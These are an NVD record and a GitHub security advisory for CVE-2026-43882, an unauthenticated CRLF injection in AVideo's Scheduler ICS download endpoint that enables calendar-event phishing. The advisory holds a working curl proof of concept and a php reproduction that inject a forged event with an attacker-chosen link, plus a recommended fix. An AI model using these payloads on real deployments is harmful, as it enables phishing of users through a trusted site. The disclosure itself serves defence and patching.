{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, the unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines \u2014 including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim\u0027s trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim\u0027s calendar after import. Commit 764db592f99e545aa86bb9a4ad664ffd14c38ba5 contains an updated fix."
    }
  ],
  "id": "CVE-2026-43882",
  "lastModified": "2026-05-13T16:16:52.543",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-11T22:22:12.803",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-93"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:14:31Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines \u2014 including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim\u0027s trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim\u0027s calendar after import.\n\n## Details\n\n### Vulnerable code path\n\n**`plugin/Scheduler/downloadICS.php`** \u2014 unauthenticated entry point:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\u0027Scheduler\u0027)){\n    forbiddenPage(\u0027Scheduler is disabled\u0027);\n}\nif(empty($_REQUEST[\u0027title\u0027])){ forbiddenPage(\u0027Title cannot be empty\u0027); }\nif(empty($_REQUEST[\u0027date_start\u0027])){ forbiddenPage(\u0027date_start cannot be empty\u0027); }\n\nScheduler::downloadICS($_REQUEST[\u0027title\u0027], $_REQUEST[\u0027date_start\u0027], @$_REQUEST[\u0027date_end\u0027],\n    @$_REQUEST[\u0027reminder\u0027], @$_REQUEST[\u0027joinURL\u0027], @$_REQUEST[\u0027description\u0027]);\n```\n\nThere is no session check, no CSRF token, no user-role check \u2014 only an empty-check on `title`/`date_start` and a plugin-enabled check.\n\n**`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder:\n\n```php\n$props = array(\n    \u0027location\u0027 =\u003e $location,\n    \u0027description\u0027 =\u003e $description,   // attacker-controlled\n    \u0027dtstart\u0027 =\u003e $dtstart,\n    \u0027dtend\u0027 =\u003e $dtend,\n    \u0027summary\u0027 =\u003e $title,             // attacker-controlled\n    \u0027url\u0027 =\u003e $joinURL,               // attacker-controlled\n    \u0027valarm\u0027 =\u003e $VALARM,\n);\n$ics = new ICS($props);\n...\necho $icsString;\n```\n\n**`objects/ICS.php:167-169`** \u2014 incomplete escape:\n\n```php\nprivate function escape_string($str) {\n    return preg_replace(\u0027/([\\,;])/\u0027,\u0027\\\\\\$1\u0027, $str);\n}\n```\n\nPer RFC 5545 \u00a73.3.11, TEXT values must also have CR/LF either folded or encoded as `\\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `\"\\r\\n\"`, so any raw `\\r\\n` sequence embedded in a value breaks out of the property line and injects new ICS directives.\n\n### Verified exploit output\n\nRunning the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled):\n\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID:-//hacksw/handcal//NONSGML v1.0//EN\nCALSCALE:GREGORIAN\nBEGIN:VEVENT\nDESCRIPTION:Hello\nEND:VEVENT\nBEGIN:VEVENT\nSUMMARY:Injected\nURL:http://attacker.com\nDTSTART:20260501T000000Z\nDTEND:20260501T130000Z\nSUMMARY:Legit\nURL;VALUE=URI:https://example.com\nDTSTAMP:20260424T082123Z\nUID:69eb2803d1aa2\nEND:VEVENT\nEND:VCALENDAR\n```\n\nThe injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.\n\n## PoC\n\n1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).\n\n2. Send an unauthenticated GET request with CRLF-encoded payload in `description`:\n\n```\ncurl -o malicious.ics \\\n  \u0027http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup\u0026date_start=2026-05-01+12:00\u0026description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity\u0027\n```\n\n3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client \u2014 both events appear in the victim\u0027s calendar. The injected event renders with an attacker-chosen clickable URL.\n\nLocal reproduction (without needing a running server) using the same code path:\n\n```\nphp -r \"require \u0027objects/ICS.php\u0027; \\$p = [\u0027description\u0027 =\u003e \\\"Hello\\r\\nEND:VEVENT\\r\\nBEGIN:VEVENT\\r\\nSUMMARY:Injected\\r\\nURL:http://attacker.com\\\", \u0027dtstart\u0027=\u003e\u00272026-05-01\u0027, \u0027dtend\u0027=\u003e\u00272026-05-01 13:00\u0027, \u0027summary\u0027=\u003e\u0027Legit\u0027, \u0027url\u0027=\u003e\u0027https://example.com\u0027]; echo (new ICS(\\$p))-\u003eto_string();\"\n```\n\nProduces the two-VEVENT output shown above (verified).\n\n## Impact\n\n- **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.\n- **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body.\n- **Integrity:** Low \u2014 unwanted/forged events are added to the victim\u0027s calendar after they import the file.\n- **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo\u0027s scheduled streaming features.\n- **Confidentiality / Availability:** No direct impact.\n\nNot a higher-severity response-splitting bug: PHP\u0027s `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers \u2014 only into the ICS body.\n\n## Recommended Fix\n\nStrip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`:\n\n```php\nprivate function escape_string($str) {\n    // RFC 5545 \u00a73.3.11: escape backslash, semicolon, comma; encode newlines as \\n\n    $str = str_replace(array(\"\\\\\", \"\\r\\n\", \"\\r\", \"\\n\"), array(\"\\\\\\\\\", \"\\\\n\", \"\\\\n\", \"\\\\n\"), $str);\n    return preg_replace(\u0027/([\\,;])/\u0027, \u0027\\\\\\\\$1\u0027, $str);\n}\n```\n\nAdditionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` \u2014 and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.",
  "id": "GHSA-mwgh-92m2-wvhv",
  "modified": "2026-05-13T14:20:32Z",
  "published": "2026-05-05T22:14:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing"
}